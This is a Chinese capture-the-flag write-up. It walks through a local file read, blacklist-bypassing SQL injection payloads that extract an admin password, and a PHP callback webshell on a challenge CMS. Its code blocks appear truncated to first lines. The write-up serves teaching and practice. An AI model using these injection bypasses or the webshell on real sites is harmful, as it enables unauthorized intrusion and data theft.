这道题目还是很具有挑战性的。相比其他更偏向于奇技淫巧的题目,这道题目更偏向于真实环境下的渗透题目。其中不仅涉及到SQL注入还需要具有一定的渗透经验,具备了以上的能力才有可能做对这道题目。由于这道题目具有一定的难度,也特地使用一篇文章来讲解一下这道题目。
寻找突破口
首先看题目,分析题目所考察的知识点,寻找题目的突破口。
从题目首页看来,这不是一个XSS的题目。所以考虑到这可能是一个需要使用SQL注入的题目,获取数据库中的信息,难道flag。
后来发现在本CMS说明
是一个文件读取的链接,http://cms.nuptzj.cn/about.php?file=sm.txt
。点击连接显示内容如下。
可以发现这是一个可以进行文件读取。从显示内容可以发现有index.php、passencode.php、say.php文件。同时数据库中还存在一个admin表。
然后分别读取index.php内容,passencode.php、say.php的内容。
其中index.php没有什么有用的信息;在say.php中显示的内容如下:
1 | <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> |
这个代码就一个普通的用于显示信息的代码,在其中并没有什么可以利用的漏洞。
而passencode.php中的代码如下:
1 | function passencode($content){ |
可以看到密码的加密算法就是保存密码的ASCII密码。这个可能在获取到密码之后可能为用到。
然后读取about.php代码:
about.php的代码如下:
1 | <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> |
可以看到存在config.php目录,但是发现无法访问。还存在loginxlcteam文件,但是此文件也无法读取。
访问http://cms.nuptzj.cn/config.php
没有内容显示。访问http://cms.nuptzj.cn/loginxlcteam/
发现是如下的一个登陆地址。
SQL注入
虽然上面找到了网站存在的问题,但是还是没有找到突破口。渗透测试的时候,如果没有找到突破口,那就进行抓包吧。皇天不负有心人,通过抓包发现当在主页http://cms.nuptzj.cn/
上面进行搜索的时候提交的请求是http://cms.nuptzj.cn/so.php
,通过http://cms.nuptzj.cn/about.php?file=so.php
读取到文件的内容为:
1 |
|
后来发现在其中的SQL查询可能存在SQL注入,在本php文件中还应用了antiinject.php这个文件,代码如下:
1 |
|
antiinject是一个黑名单的过滤函数,将一个常见的SQL中的关键字替换为空。这种方式的黑名单使用selSELECTect就可以轻易地绕过了。
通过so.php和antiinject.php文件就可以写出exploit,来获取admin表中的内容。
首先我通过注入的方式得到admin中的记录,以及其中的userpass的长度。
通过以下的payload来获取admin中的记录:soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1)
就可以知道在admin中仅仅只有一条记录。
然后通过soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaspasss)>33)
就可以知道在admin中的第一条记录中的userpass的长度为34。看来SQL注入中,手注是必须的。接下来写一个Python程序来爆破userpass。下面就是爆破脚步。
1 | import requests |
最后得到的userpass就是1020117099010701140117011001160117。SQL注入是必须要熟练掌握的,Python大法好。这个密码明显是一个密文。通过前面的passencode.php的源代码,可以知道密文就是明文的ASCII。所以得到的明文密码就是fuckruntu。
知道了管理员的用户名和密码分别是admin和fuckruntu,就是登陆到http://cms.nuptzj.cn/loginxlcteam/
页面了。发现可以登陆进入,显示如下的页面。
回调木马
网页中显示木马文件名是xlcteam.php,需要知道连接木马的密码。
1 | 'www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); $e = $_REQUEST[ |
这是一个回调函数的木马,关于回调函数的木马可以参考P神的文章。在P神的文章中有一个相似的例子。例子如下:
那么我们也如法炮制。
成功了。接下来就需要获取服务器上面所有的内容了。
从中可以看到其中有一个恭喜你获得flag2.txt
。这个文件就是包含flag.txt的文件了。
通过http://cms.nuptzj.cn/about.php?file=恭喜你获得flag2.txt
就可以得到flag了。以上整个分析过程就完成了。